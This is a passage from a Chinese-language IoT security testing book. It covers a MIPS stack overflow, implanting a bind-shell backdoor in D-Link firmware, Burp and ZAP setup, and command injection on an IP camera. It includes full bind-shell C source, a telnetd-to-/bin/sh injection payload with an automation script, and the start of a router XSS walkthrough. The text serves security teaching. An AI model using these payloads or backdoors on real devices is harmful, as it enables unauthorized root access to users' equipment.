MIPS 共有 32 个通用寄存器,包括$zero$at$v0-$v1c$t0-$t9$s0-$s7$k0$k1$gp$ra$fp$ra。在所有这些寄存器中,$a0-$a3用于存储函数的参数,$t0-$t9用于临时数据存储,$gp是全局区指针(我们在利用过程中尽量不修改 GP),$sp是堆栈指针,$fp是帧指针,$ra是返回地址。还有一个额外的特殊目的寄存器称为程序计数器PC),它存储下一条指令的内存地址,即当前正在执行的指令的下一条指令。

要控制基于 MIPS 的二进制程序的执行流程,我们只关心两个寄存器 - RA 和 PC。当处理基于 MIPS 的二进制文件时,您会意识到控制 PC 通常比 RA 更困难。因此,在这个练习中,我们将专注于控制 RA。

  1. 由于我们知道我们正在处理的当前二进制文件socket_bof容易受到基于堆栈的缓冲区溢出的影响,让我们用一个极大的参数来运行它。为了生成参数,我们将使用 GEF 的模式创建功能,如下面的屏幕截图所示:

  1. 一旦我们生成了模式,我们可以使用之前生成的参数运行stack_bof_01,并查看是否能够溢出 RA。下面的屏幕截图显示了使用从 GEF 生成的自定义 300 字符长的参数运行程序:

  1. 正如预期的那样,由于-g标志,二进制执行状态已暂停,并且正在等待调试器连接。现在打开 GEF 终端窗口,输入target,如下面的命令和屏幕截图所示:
target remote 127.0.0.1:1234  

  1. 一旦您设置了target,您可以按c,这将使程序继续执行,直到完成或遇到断点或异常为止。如下面的屏幕截图所示,程序遇到了SIGSEGV错误:

GEF 还显示了在捕获异常时堆栈和寄存器的整个状态。在我们的情况下,我们可以看到 RA 被0x63616162覆盖,这只是baac的十六进制表示。

现在我们有了上述信息,让我们使用模式搜索功能来找到覆盖 RA 的字节的偏移量。有了这个,我们将能够找出我们应该放置恶意地址的位置,并控制程序的执行流程。

  1. 为了做到这一点,我们可以使用命令pattern search RA-overflown-bytes-in-hex,如下面的屏幕截图所示:

从前面的屏幕截图中可以看到,我们能够找到溢出寄存器 RA 的字符的偏移量,在这种情况下是204。这意味着我们需要204字节的垃圾来填满 RA 之前的所有内容,接下来的4字节将是用来覆盖 RA 的值。

  1. 如果您还记得我们这次练习的目标是修改程序执行流程并调用dat_shell函数,而这个函数在程序的正常流程中不会被调用。为了找到dat_shell的地址,我们可以打印dat_shell,或者我们可以反汇编并查看起始地址。这可以通过使用disass function-name命令来完成,如下面的屏幕截图所示:

从前面的屏幕截图中可以看到,dat_shell函数从0x00400950地址开始。然而,前三条指令使用了全局指针GP),这不是我们此刻想要处理的。这就是为什么我们会跳转到0x0040095c而不是0x00400950的原因。

  1. 因此,让我们继续运行带有204个字符的垃圾,后跟地址0x0040095c的二进制文件。这次,我们还删除了-g标志,并直接运行如下:
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 +  '\x5c\x09\x40'")"  

从前面的屏幕截图中可以看到,二进制文件现在已经按我们的要求执行了dat_shell函数。这就是我们在基于 MIPS 的平台上执行基于堆栈的缓冲区溢出的方法。

它是如何工作的...

缓冲区溢出的整个基本概念是能够在缓冲区中放入比预期输入更多的字符,并以这种方式控制可能存在于堆栈上的寄存器。这也可以用于跳转到 shellcode 的位置或系统的libc库,并执行额外的有效载荷。

还有更多...

尽管我们可以在这个有漏洞的二进制文件中执行利用,但在现实世界的情况下,您可能会遇到更复杂的情况。其中之一是有趣的函数不会位于二进制文件内,您将不得不跳转到系统以执行bin/sh,或者创建一个 ROP 链来执行您的 shellcode。

使用固件修改工具(FMK)来设置后门

在利用过程中经常有用的技术之一是修改固件的能力。这可以通过从固件中提取文件系统,修改内容,然后将其重新打包成新的固件来实现。然后可以将这个新的固件刷入设备。

准备工作

为了修改固件,我们将使用一个名为 FMK 的工具,由Jeremy CollakeCraig Heffner编写。 FMK 利用 Binwalk 和其他工具从固件中提取文件系统,并为我们提供重新打包修改后的文件系统到新固件二进制文件的能力。

FMK 可以从github.com/brianpow/firmware-mod-kit/下载,或者如果您之前克隆了 FAT 工具,它可能已经存在于您的系统中。下载完成后,我们需要固件来进行尝试。为了简化事情,以便阅读本书的每个人都可以在不购买硬件的情况下复制以下步骤,我们将使用可以在 FAT 中很好地模拟的固件。

如何做...

以下是步骤:

  1. 在这种情况下,我们将使用 D-Link 的 DIR-300 路由器的固件。为了从固件中提取文件系统,我们将使用 FMK 目录中的extract-firmware.sh脚本,而不是使用 Binwalk,如下所示:
./extract-firmware.sh Dlink_firmware.bin  

一旦我们提取了固件,它将为我们包含一个新目录,其中包括rootfsimage_partslogs文件夹。对于大多数后门和固件修改目的,我们只关心rootfs文件夹。

rootfs文件夹包含固件的整个文件系统。我们所需要做的就是为固件的架构创建一个后门,然后找到一种在固件启动时自动调用它的方法。

  1. 让我们首先找出固件是为哪种架构而设计的。我们可以通过对任何固件二进制文件(如 BusyBox)进行readelf来找出这一点,如下截图所示:

  1. 正如我们从前面的截图中看到的,它是基于 MIPS Little Endian 架构。这意味着我们需要为 MIPS Little Endian 格式创建和编译一个后门。以下是我们将要使用的后门,最初由Osanda Malith编写:
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 

#define SERVER_PORT  9999 
 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith) 
  * Bind Shell using Fork for my TP-Link mr3020 router running busybox 
  * Arch : MIPS 
  * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc 
  */ 
int main() { 
   int serverfd, clientfd, server_pid, i = 0; 
   char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n"; 
   char *args[] = { "/bin/busybox", "sh", (char *) 0 }; 
   struct sockaddr_in server, client; 
   socklen_t len; 

   server.sin_family = AF_INET; 
   server.sin_port = htons(SERVER_PORT); 
   server.sin_addr.s_addr = INADDR_ANY; 

   serverfd = socket(AF_INET, SOCK_STREAM, 0); 
   bind(serverfd, (struct sockaddr *)&server, sizeof(server)); 
   listen(serverfd, 1); 

    while (1) { 
         len = sizeof(struct sockaddr); 
         clientfd = accept(serverfd, (struct sockaddr *)&client, &len); 
        server_pid = fork(); 
        if (server_pid) { 
         write(clientfd, banner,  strlen(banner)); 
           for(; i <3 /*u*/; i++) dup2(clientfd, i); 
           execve("/bin/busybox", args, (char *) 0); 
           close(clientfd); 
         } close(clientfd); 
    } return 0; 
} 

一旦我们有了代码,我们就可以使用 Buildroot for MIPSEL,并使用使用 Buildroot 构建的交叉编译器进行编译。我们不会详细介绍设置 Buildroot 的过程,因为这个过程非常简单,并且已经在文档中有所记录。

  1. 一旦我们为 MIPSEL 创建了交叉编译器,我们就可以将bindshell.c编译为bindshell二进制文件,然后将其放置在固件的提取文件系统中:
./mipsel-buildroot-linux-uclibc-gcc bindshell.c -static -o bindshell  

下一步是寻找我们可以将这个二进制文件放置在文件系统中的位置,以及如何在启动时自动启动。这可以通过查看其中一个在启动时会自动调用的脚本来完成。

  1. 查看文件系统后,我们可以将二进制文件添加到etc/templates/中,并可以从位于/etc/scripts/的名为system.sh的脚本中引用它,如下截图所示:

  1. 现在,让我们继续根据这个修改构建新的固件,使用build-firmware.sh脚本,如下截图所示:

一旦完成构建过程,它将创建新的固件,并将其放置在firmware-name/位置,命名为new-firmware.bin

  1. 一旦我们有了新的固件映像,我们就可以将这个固件复制到我们的 FAT 目录中,并进行仿真以验证我们添加的后门是否有效。这可以通过与我们之前用于仿真的相同步骤来完成。这也显示在以下截图中:

正如我们从前面的截图中看到的,它给了我们一个 IP 地址192.168.0.1,我们现在可以尝试访问。但更有趣的是,让我们看看我们放置在固件中的后门 bindshell 是否激活。

  1. 让我们尝试在前面的 IP 上运行一个连接到端口9999的 Netcat,并看看它是否有效:

现在,由于我们修改并放置在固件中的后门,我们在设备上有了完整的 root shell。从这里,我们可以修改其他设备配置,或者简单地使用它来远程访问运行我们修改后的恶意固件的任何设备。

它是如何工作的...

修改固件的能力对攻击者来说是非常强大和有用的。这使得攻击者能够绕过保护机制,移除安全功能等。由于诸如 FMK 之类的工具,攻击者可以非常容易地向任何物联网设备固件中添加自己的恶意软件或后门,然后用户可以在世界任何地方使用它。

这也是固件签名和校验和验证非常重要的原因之一,以防止因恶意或修改的固件而引起的攻击。

第四章:利用嵌入式 Web 应用程序

在本章中,我们将涵盖以下内容:

  • 开始进行 Web 应用程序安全测试

  • 使用 Burp Suite

  • 使用 OWASP ZAP

  • 利用命令注入

  • 利用 XSS

  • 利用 CSRF

介绍

Web 应用程序和 Web 服务用于执行远程访问功能以及管理设备。Web 应用程序和 IoT 设备可以赋予大量的权力,使攻击者能够远程执行控制。某些产品,如连接的车辆或具有远程可执行漏洞的智能门锁,可能会对用户造成伤害和个人安全风险。在测试 IoT 产品的上述类别时,首先要针对对用户造成最高风险和影响的漏洞进行定位。在本章中,我们将展示如何选择 Web 应用程序测试方法论,设置您的 Web 测试工具包,以及讨论如何发现和利用一些最常见的嵌入式 Web 应用程序漏洞。

开始进行 Web 应用程序安全测试

现代 Web 的大部分运行在数百个 Web、应用程序和数据库服务器后面作为其后端系统的应用程序上。Web 已经从静态 HTML 页面发展到需要更多资源来计算的复杂的异步应用程序。尽管 Web 已经发生了变化,但一些最常见的安全问题仍然存在。在 1990 年代首次发现的漏洞仍然是相关的,并且正在积极被利用。在 IoT 产品中,一些常见的漏洞通常是命令注入、跨站脚本XSS)、目录遍历、身份验证绕过、会话劫持、XML 外部实体XXE)、跨站请求伪造CSRF)和其他业务逻辑缺陷。在这个方法中,我们将建立一个 Web 应用程序测试方法论,用于发现和利用 IoT Web 应用程序和 Web 服务的漏洞。

如何做…

要开始评估 Web 应用程序,建立方法论甚至一份清单是很重要的,一旦您掌握了一些技巧。了解您的方法和上下文应用风险对于成功破坏安全控制至关重要。在我们建立与目标应用程序相关的方法论之后,我们将开始配置我们的 Web 测试环境和工具包,以开始进行 Web 应用程序安全测试。

Web 渗透测试方法

除了网络渗透测试方法之外,还有许多其他的渗透测试方法。并不存在绝对正确或错误的方法论;然而,建立测试应用程序的方法对于成功发现软件缺陷至关重要。最常见的方法论是渗透测试执行标准PTES)和 OWASP 的 Web 应用程序渗透测试方法论。开放式 Web 应用安全项目OWASP)是一个非营利性慈善组织,提供工具和文件,并在国际上倡导软件安全。如果您曾经测试过一个应用程序或不得不修复软件漏洞,您可能已经熟悉 OWASP。如果您曾经进行过渗透测试,您可能也遇到过 PTES。PTES 旨在为渗透测试提供一个基准。PTES 将渗透测试定义为包括以下七个阶段的测试:

  1. 预交互

  2. 情报收集

  3. 威胁建模

  4. 漏洞分析

  5. 利用

  6. 后期利用

  7. 报告

尽管 PTES 与信息安全测试的所有领域相关,但它最常用于面向网络的渗透测试。虽然有关 Web 安全的小节,但目前还不足以进行成功的评估。PTES 确实为方法论的每个阶段提供了详细的实际示例,并包括工具使用示例。另一方面,OWASP 的 Web 应用程序渗透测试方法论纯粹针对 Web 应用程序渗透测试。OWASP 的 Web 应用程序渗透测试方法论包括以下 12 个类别:

  • 介绍和目标

  • 信息收集

  • 配置和部署管理测试

  • 身份管理测试

  • 身份验证测试

  • 授权测试

  • 会话管理测试

  • 输入验证测试

  • 错误处理

  • 密码学

  • 业务逻辑测试

  • 客户端测试

与 PTES 类似,OWASP 的测试方法提供了每个阶段的许多示例,包括屏幕截图以及工具参考和用法。当某些领域的经验较低时,具有与测试目标应用程序相关的示例是有帮助的。OWASP 测试方法的一大优点是提供了特定测试方法的上下文,以尝试用例和测试视角,例如黑盒或灰盒。OWASP 被认为是应用程序安全指南和测试的事实标准组织。如果有疑问,请查看 OWASP 测试指南或它们的各种小抄系列以寻求帮助。

选择您的测试工具

有许多可用于测试 Web 应用程序的工具。组装用于评估 Web 应用程序的工具箱的第一步将是选择浏览器并自定义其配置以进行测试。由于其许多可用的测试附加组件,常用于测试的浏览器是 Firefox。也可以使用其他浏览器,并且可能需要一些应用程序,例如使用 ActiveX 或 Silverlight 的应用程序,需要 Internet Explorer 浏览器才能运行。一些附加组件使测试变得更加轻松和高效。常用的有用附加组件包括以下内容:

  • FoxyProxy:用于管理 Chrome 和 Firefox 的浏览器代理设置的工具。有时您可能同时运行多个代理工具,并且可能需要在两者之间切换。FoxyProxy 可以帮助更改代理设置,而无需点击多个浏览器设置菜单。FoxyProxy 可以在addons.mozilla.org/en-us/firefox/addon/foxyproxy-standard/下载。

  • Cookie Manager+:Cookie 管理器对于编辑 cookie 值和查看其属性非常有用。有许多适用于 Firefox 和 Chrome 的 cookie 管理器附加组件。Firefox 的常见 cookie 管理器是 Cookie Manager+。Cookie Manager+可以在 https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/下载。

  • Wappalyzer:为了更好地了解目标应用程序,了解正在使用的组件是很有帮助的。Wappalyzer 是一个附加组件,可帮助揭示正在使用的技术,包括 Web 服务器、框架和 JavaScript 库。Wappalyzer 可以在 https://wappalyzer.com/download 下载到 Firefox 和 Chrome。

选择浏览器后,必须配置代理设置,以便在 Web 应用程序代理工具中查看应用程序的请求和响应。在接下来的步骤中,我们将介绍配置代理设置和 Web 应用程序代理工具。

使用 Burp Suite

Burp Suite 是用于评估 Web 应用程序的最流行的 Web 代理工具之一。Burp 是基于 Java 的跨平台工具。使用 Burp Suite,可以中间人攻击 HTTP 请求和响应,以便篡改并监视应用程序行为。此外,应用程序可以进行蜘蛛爬行,主动扫描漏洞,被动扫描和模糊处理。

准备就绪

Burp Suite 已经预装在为本书准备的虚拟机中;但是,也可以在portswigger.net/burp/上下载。

Burp 有两个版本:免费版和专业版。专业版的价格适中(349.00 美元),考虑到 Burp 的功能集。还有一个为期 2 周的专业版试用版。免费版允许代理 HTTP 请求和响应,以及下载 BApp 商店中的一些扩展插件。专业版允许使用更高级的功能和专业的扩展插件。

如何做…

我们将介绍 Burp Suite 的基本用法,以开始测试嵌入式 Web 应用程序。以下示例将使用 Burp Suite 专业版;但是,相同的设置步骤也适用于免费版:

  1. 设置 Burp 代理监听器设置为127.0.0.1,端口为8080,如下图所示:

  1. 使用 FoxyProxy 将浏览器代理设置为我们在上一步中设置的 Burp Suite 监听器地址:

  1. 选择配置的代理以将所有流量路由到我们的 Burp 代理监听器:

  1. 接下来,我们需要下载并安装 Burp 的 CA 证书,方法是转到http://burp/cert,将证书保存在一个文件夹中,并将证书导入浏览器的证书管理器中。导入 Burp 的 CA 证书允许代理 HTTPS 连接,这在将来可能会派上用场:

  1. 在 Firefox 中导航到about:preferences#advanced,选择证书,然后选择授权机构:

  1. 单击“导入…”按钮,然后选择本地保存的 Burp Suite 证书:

现在我们可以查看 HTTP/HTTPS 请求和响应。

  1. 一旦我们为浏览器和 Burp Suite 配置了基本代理设置,就导航到目标 Web 应用程序。右键单击其地址并选择添加到范围,将我们的目标应用程序添加到范围,如下图所示:

  1. 选择范围后,可以通过右键单击请求并选择执行主动扫描来使用 Burp 的扫描引擎扫描请求:

  1. 通过导航到扫描队列查看扫描结果:

  1. 有时,我们可能希望使用重复器重放请求,以观察应用程序响应或调整有效载荷。这可以通过右键单击目标请求并将其发送到重复器来完成。以下截图显示了使用有效载荷调整alias参数:

  1. 在调整有效载荷的过程中,我们可能需要对某些字符进行编码或解码,以确保我们的有效载荷能够使用 Burp Suite 的解码器执行。以下截图显示了一个解码值(顶部)被 URL 编码(底部):

  1. 使用 Burp Suite 的入侵者可以以更手动的方式对具有特定目标有效载荷的参数进行模糊处理。首先,需要指定一个目标参数。在这种情况下,我们使用alias参数作为目标:

  1. 接下来,选择要使用的攻击有效载荷(在本例中为 Fuzzing - XSS),然后单击开始攻击:

将会弹出一个单独的窗口,攻击结果将可见:

它是如何工作的…

在我们的设置步骤中,我们配置了 Burp 代理设置和浏览器设置,并学习了将用于测试的 Burp Suite 的基础知识。我们使用 FoxyProxy 配置了浏览器代理设置,安装了 Burp 的 CA 证书,扫描了一个请求,并展示了如何使用其他可能有助于更多目标攻击的 Burp 工具,比如 Repeater、decoder 和 Intruder。

有了这些知识,我们现在可以开始使用 Burp Suite 访问嵌入式 Web 应用程序,以查找目标设备上的漏洞。

还有更多...

Burp Suite 有一个强大的社区支持。当发现新的攻击技术时,社区会创建许多附加扩展。Burp Suite 本身也是如此。PortSwigger 通过不断更新 Burp 来保持领先地位。看看各种发布说明,你可能会学到一两件事情(releases.portswigger.net/)。

有用的入侵者有效载荷

在使用 Intruder 时,最好准备一组用于模糊参数的有针对性的有效载荷。SecList 项目有许多单词列表以及用于更有针对性攻击的模糊有效载荷。该项目定期更新,社区贡献有助于测试。SecList 存储库可以通过 URL github.com/danielmiessler/SecLists/找到。

另请参阅

使用 OWASP ZAP

OWASP Zed Attack Proxy (ZAP)是一个免费的跨平台 Web 代理测试工具,用于发现 Web 应用程序中的漏洞。ZAP 在 Web 应用程序代理测试工具领域是 Burp Suite 的紧密竞争对手,当你的预算可能不足以购买商业产品的许可证时,ZAP 绝对是一个不错的选择。ZAP 旨在供具有广泛安全经验的人使用,因此也非常适合开发人员以及对渗透测试新手的功能测试人员。借助 ZAP 的 API,扫描可以自动化,并在开发人员的工作流程中用于在生产之前扫描构建。ZAP 有许多不同的有用附加组件,具有强大的扫描引擎,其中包括引擎内的其他经过验证的测试工具,如 Dirbuster 和 SQLmap。此外,ZAP 还有一种名为 ZEST 的图形化脚本语言,可以记录和重放类似于宏的请求。本教程将介绍用于 Web 应用程序安全测试的基本 ZAP 功能。

准备工作

Burp Suite 预装在为菜谱准备的虚拟机中;但是,也可以通过github.com/zaproxy/zaproxy/wiki/Downloads下载。

ZAP 下载页面包含额外的 Docker 镜像,以及利用新功能的 ZAP 每周版本,这些功能在官方版本中尚未引入。每周版本非常稳定,如果您希望获得更多的可扩展性,我建议您尝试一下。

如何做...

以下步骤将介绍 ZAP 的设置和基本用法:

  1. 通过单击“工具”,然后单击“选项”来设置 ZAP 代理监听器设置。输入 ZAP 要监听的 IP 和端口信息,如下截图所示:

  1. 通过动态 SSL 证书选项生成和安装 ZAP 的 CA 证书,并在浏览器中安装证书,类似于你在 Burp Suite 教程中所做的:

  1. 将证书保存在已知目录中:

  1. 有必要安装附加组件来协助主动和被动的网络渗透测试。这些附加组件包括高级 SQL 注入扫描器、主动扫描规则(alpha)、DOM XSS 主动扫描规则、被动扫描规则(alpha)和使用 Wappalyzer 进行技术检测。ZAP 的附加组件有不同的成熟度级别,但使用 alpha 级别的附加组件并不会有害。下面的截图说明了必要的附加组件:

  1. 安装了所需的附加组件后,现在可以通过分析和扫描策略管理器选项来配置扫描策略。这些策略也可以导出和导入。下面的截图显示了一个用于 XSS 的示例扫描策略:

ZAP 的扫描策略包含阈值和强度。阈值涉及警报的置信度以及 ZAP 报告潜在漏洞的可能性。强度涉及 ZAP 执行攻击的数量。这些信息可以在 ZAP 的用户指南中找到,该指南位于工具本身或在线github.com/zaproxy/zap-core-help/wiki

  1. 配置了我们的扫描配置后,我们需要通过右键单击目标将目标站点添加到上下文中,如下面的截图所示。这类似于 Burp 的“添加到范围”功能:

  1. 现在目标已经包含在扫描上下文中:

  1. 扫描请求是通过右键单击目标请求,选择扫描策略,并开始扫描来完成的,如下面的截图所示:

选择了 XSS 扫描策略,现在扫描将开始,并且扫描的输出将显示在 ZAP 的“主动扫描”选项卡中。

  1. 为了更有针对性地进行主动扫描,可以利用 ZAP 的模糊测试功能,这类似于 Burp 的 Intruder。要进行模糊测试,请右键单击请求并选择模糊测试位置和有效载荷,如下面的截图所示:

  1. 解码和编码字符对于代码执行至关重要。ZAP 的编码器/解码器,可通过工具菜单访问,与 Burp 的解码器类似,如下面的截图所示:

还有更多...

ZAP 非常可定制和可扩展;我们上一个示例只涵盖了 ZAP 的基本用法,以帮助进行 Web 应用程序安全测试。要了解更多关于使用和定制 ZAP 的信息,请访问 ZAP 的博客以及他们的维基,网址为github.com/zaproxy/zaproxy/wikizaproxy.blogspot.com/

此外,如果您想要通过 ZAP 或 Burp Suite 来提高您的网络应用程序测试技能,请查看 OWASP 的易受攻击的 Web 应用程序目录项目,网址为www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project

利用命令注入

在嵌入式系统中,OS 命令注入是一种常见的漏洞,通常通过 Web 界面或调试页面留下来自开发固件构建的方式来执行任意操作系统命令。用户通过 Web 界面在 Web 服务参数中提供操作系统命令,以执行 OS 命令。动态且未经适当清理的参数容易受到此漏洞的利用。通过执行 OS 命令的能力,攻击者可以上传恶意固件,更改配置设置,获得对设备的持久访问权限,获取密码,攻击网络中的其他设备,甚至锁定合法用户对设备的访问。在这个步骤中,我们将演示如何利用命令注入来获取对设备的 shell 访问权限。

准备工作

对于这个步骤,我们将使用 tcpdump、Burp Suite 和一个易受攻击的 IHOMECAM ICAM-608 IP 摄像头。Tcpdump 包含在大多数*Nix 操作系统中,但也可以使用 Wireshark 来观察数据包。

如何做...

在嵌入式 Web 应用程序中查找可注入命令的页面的过程相当简单。我们要检查的应用程序中的第一个地方是使用系统命令的诊断页面,比如pingtraceroute,还有守护程序的配置设置页面,比如 SMB、PPTP 或 FTP。如果我们已经获得了固件或者访问了目标设备的控制台,最好是静态分析设备执行的易受攻击脚本和函数,并验证通过动态分析发现的潜在发现:

  1. 让我们来看一下我们目标 IP 摄像头的配置菜单设置,以确定可能存在漏洞的页面:

  1. 可选择的页面并不多,但我们看到了邮件服务和 FTP 服务设置页面。这些页面可能会将系统命令输入操作系统以执行。让我们首先检查 FTP 服务设置页面,并尝试通过 Burp Suite 操纵参数值以执行系统命令:

  1. 在尝试在pwd参数中发送有效负载$(ping%20192.168.1.184)时,应用程序似乎会剥离字符,如下面的屏幕截图所示:

  1. 使用基本命令,比如ping,将有效负载发送到我们的主机计算机,这让我们知道我们的命令已成功执行。为了观察 ping 是否已执行,设置tcpdump来监听来自我们目标 IP 摄像头的 ICMP 数据包,使用以下命令:
$ tcpdump host 192.168.1.177 and icmp
  1. 使用 Burp Suite 的 Repeater,我们可以更改数值并绕过 IP 摄像头执行的客户端检查。使用以下请求,我们可以看到应用程序接受了我们的更改,并需要根据 HTTP 响应刷新ftp.htm页面:
RAW HTTP Request  
GET 
/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(ping%20192.168.1.184)&dir=/&mode=0&upload_interval=0 HTTP/1.1 

RAW HTTP Response 
HTTP/1.1 200 OK 
Server: GoAhead-Webs 
Content-type: text/html 
Cache-Control:no-cache 
Content-length: 194 
Connection: close 

<html> 

<head> 

<title></title> 

<meta http-equ"v="Cache-Cont"ol" conte"t="no-cache, must-reva lid"te"><meta http-equ"v="refr"sh" conte"t="0; url=/ftp."tm" /> 

</head> 

<body> 

</body> 

<html> 
  1. 刷新到ftp.htm页面后,我们观察到 ICMP 数据包被发送到我们的主机计算机:
$ tcpdump host 192.168.1.177 and icmp

15:27:08.400966 IP 192.168.1.177 > 192.168.1.184: ICMP echo request, id 42832, seq 0, length 64
15:27:08.401013 IP 192.168.1.184 > 192.168.1.177: ICMP echo reply, id 42832, seq 0, length 64
15:27:09.404737 IP 192.168.1.177 > 192.168.1.184: ICMP echo request, id 42832, seq 1, length 64
15:27:09.404781 IP 192.168.1.184 > 192.168.1.177: ICMP echo reply, id 42832, seq 1, length 64
15:27:10.666983 IP 192.168.1.177 > 192.168.1.184: ICMP echo request, id 42832, seq 2, length 64
15:27:10.667031 IP 192.168.1.184 > 192.168.1.177: ICMP echo reply, id 42832, seq 2, length 64  
  1. 现在我们知道pwd参数容易受到命令注入的攻击,我们的下一个目标是获取对目标设备的 shell 访问权限。我们知道 IP 摄像头包含基于 FTP 的传统守护程序,很可能也使用 Telnet。接下来,我们将调用 Telnet 在端口25上启动,并使用以下有效负载在没有用户名或密码的情况下进入 shell:
/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interva'=0'  
  1. 我们还知道应用程序需要刷新ftp.htm页面以保存设置,但是在查看页面源代码时,它调用了一个名为ftptest.cgi的 CGI,执行我们的有效负载。以下是从ftp.htm页面执行我们的有效负载的代码片段:
function ftp_test() {              
   var url;              
   url'= 'ftptest.cgi?next_url=test_ftp.'tm';              
   url '= '&loginu'e=' + top.cookieuser'+ '&loginp's=' + encodeURIComponent(top.cookiepass);              
   window.open(ur"" """ "")         } 
  1. 接下来,我们可以直接调用ftptest.cgi来保存我们的设置,使用以下GET请求:
/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=ad'in'  
  1. Telnet 现在在端口25上运行,并给我们一个 root shell:
$ telnet 192.168.1.177 25
Trying 192.168.1.177...
Connected to 192.168.1.177.
Escape character 's '^]'.

/ # id
uid=0(root) gid=0
/ # mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
/proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
tmpfs on /dev type tmpfs (rw,relatime,size=2048k)
tmpfs on /tmp type tmpfs (rw,relatime,size=5120k)
devpts on /dev/pts type devpts (rw,relatime,mode=600,ptmxmode=000)
/dev/mtdblock3 on /system type jffs2 (rw,relatime)
/ # uname -a
Linux apk-link 3.10.14 #5 PREEMPT Thu Sep 22 09:11:41 CST 2016 mips GNU/Linux

  1. 在设备的 LAN 上获得 shell 权限后,可以使用各种技术进行后期利用。本教程不涵盖后期利用技术;然而,我们可以轻松地编写命令注入有效负载的脚本,以确保使用以下 bash 脚本访问:
#!/bin/sh  
wget -q'- 'http://192.168.1.177/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'  
wget -qO- 'http://192.168.1.177/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin' 
telnet 192.168.1.177 25  

在这个教程中,我们介绍了在 IHOMECAM ICAM-608 IP 摄像头上发现和利用命令注入。我们能够获得 shell 访问权限,并创建一个脚本来自动化利用命令注入。

另请参阅

利用 XSS

XSS 是一种攻击类型,它从不受信任的来源执行和注入任意 JavaScript 到受信任网站的上下文中。当攻击者发现 Web 应用程序中存在一个漏洞参数,可以在不验证或输出编码字符的情况下执行动态内容并将内容呈现给用户时,XSS 攻击就会发生。XSS 攻击利用浏览器的能力传输攻击有效负载,因为浏览器认为代码是受信任的。XSS 漏洞有三种类型:反射型(最常见),存储型和基于 DOM 的。反射型 XSS 漏洞是在不对内容进行消毒的情况下,将参数数据复制并回显到应用程序的响应中产生的。存储型 XSS 漏洞是当应用程序允许将参数输入数据存储在应用程序的数据库中以供以后使用时产生的。文档对象模型DOM)XSS 漏洞是当来自参数的数据通过 JavaScript 函数被馈送到 DOM 元素中时产生的。

成功利用 XSS 的攻击者可以做到以下几点:

  • 关键日志数据

  • 攻击受害者的本地区域网络(LAN)

  • 将所有 Web 流量代理通过受害者,称为浏览器中间人MITB

  • 窃取或修改应用程序的 cookie 以进行会话劫持

  • 修改受害者应用程序的外观

  • 绕过 CSRF 安全控制

要成功攻击受害者,攻击者需要执行某种社会工程技术,以使用户执行恶意请求。XSS 攻击的常见社会工程方法包括以下几种:

  • 创建一个带有恶意 JavaScript 的假网站,并链接到其页面

  • 发送嵌入恶意 Web URL 的电子邮件

  • 使用 URL 缩短器掩盖 URL

在每种情况下,初始 URL 将链接到受信任的受害者网站,并且将在用户不知情的情况下异步执行恶意 JavaScript 代码。在这个教程中,我们将介绍发现和利用反射型 XSS 漏洞,从而完全控制受害者浏览器。

准备工作

对于这个教程,我们将使用 OWASP ZAP,浏览器利用框架BeEF)和一个易受攻击的 RT-N12 ASUS 路由器。BeEF 可以通过beefproject.com安装,或者在默认安装了 BeEF 的 Kali Linux 虚拟机中使用。

如何做...

在尝试查找反射型 XSS 漏洞时,我们首先观察参数输入行为,看数据是否反射回用户。OWASP ZAP 和 Burp Suite 等 Web 代理可以帮助自动化发现过程,使用它们的扫描引擎:

  1. 浏览应用程序以查找潜在的反射值。通常可以探测的地方是诊断页面、故障排除或更改嵌入式设备上运行的服务或守护进程的配置页面。以下屏幕截图显示了发现 Web 漏洞的潜在起点:

  1. 代理 ZAP 中的 HTTP 请求,并对此页面的配置进行更改。您应该看到 POST 主体参数如下图所示:

  1. 审查start_apply.htm源代码,发现一些可能通过连接 JavaScript 代码进行操作的动态变量。这些变量似乎是作为请求的POST主体发送的参数,但也可以通过GET请求发送。以下是start_apply.htmnext_page的可能可注入参数值的片段:
setTimeout("top_delay_redirect('"+next_page+"');", restart_time*1000);
<snip>
setTimeout("parent.parent.location.href='"+next_page+"';", (restart_time+2)*1000);
<snip>
else if(next_page.length > 0){
setTimeout("delay_redirect('"+next_page+"');", restart_time*1000);

使用 XSS 负载的模糊参数,我们可以手动注入 XSS 负载并观察响应,但我们也可以利用诸如 SecLists 之类的已知 XSS 负载与单词列表,以加快发现过程。

  1. 根据 ZAP 中的模糊结果,我们在 HTTP 响应中看到了一些反射参数,如下图所示:

  1. 我们可以看到next_page参数反映了我们精确的模糊输入值(<script>(document.head.childNodes[3].text)</script>),如下 HTTP 响应片段所示:

  1. 让我们手动在浏览器中输入这个反射参数,观察其响应:

根据响应,我们似乎破坏了一些 JavaScript 代码。这可能与负载的编码或可能的长度有关。我们需要调整编码字符并审查 JavaScript 代码,确保我们的代码开始或结束一个可能正在使用的函数。

  1. 使用基本的警报 XSS 负载进行发现时,请记住在start_apply.html源代码中,参数值的形式如下:
'"+next_page+"'
  1. 让我们使用 ZAP 的编码器/解码器工具来调整我们的基本 XSS 负载,如下所示:

  1. 通过 Web 界面将 URL 编码值插入易受攻击的参数,现在我们的警报代码成功执行。最好先尝试在警报框中插入一个整数,看看我们的代码是否先执行,然后再深入研究更复杂的 XSS 负载:

  1. 现在让我们更进一步,使用以下负载在警报框中转储任何 cookie:
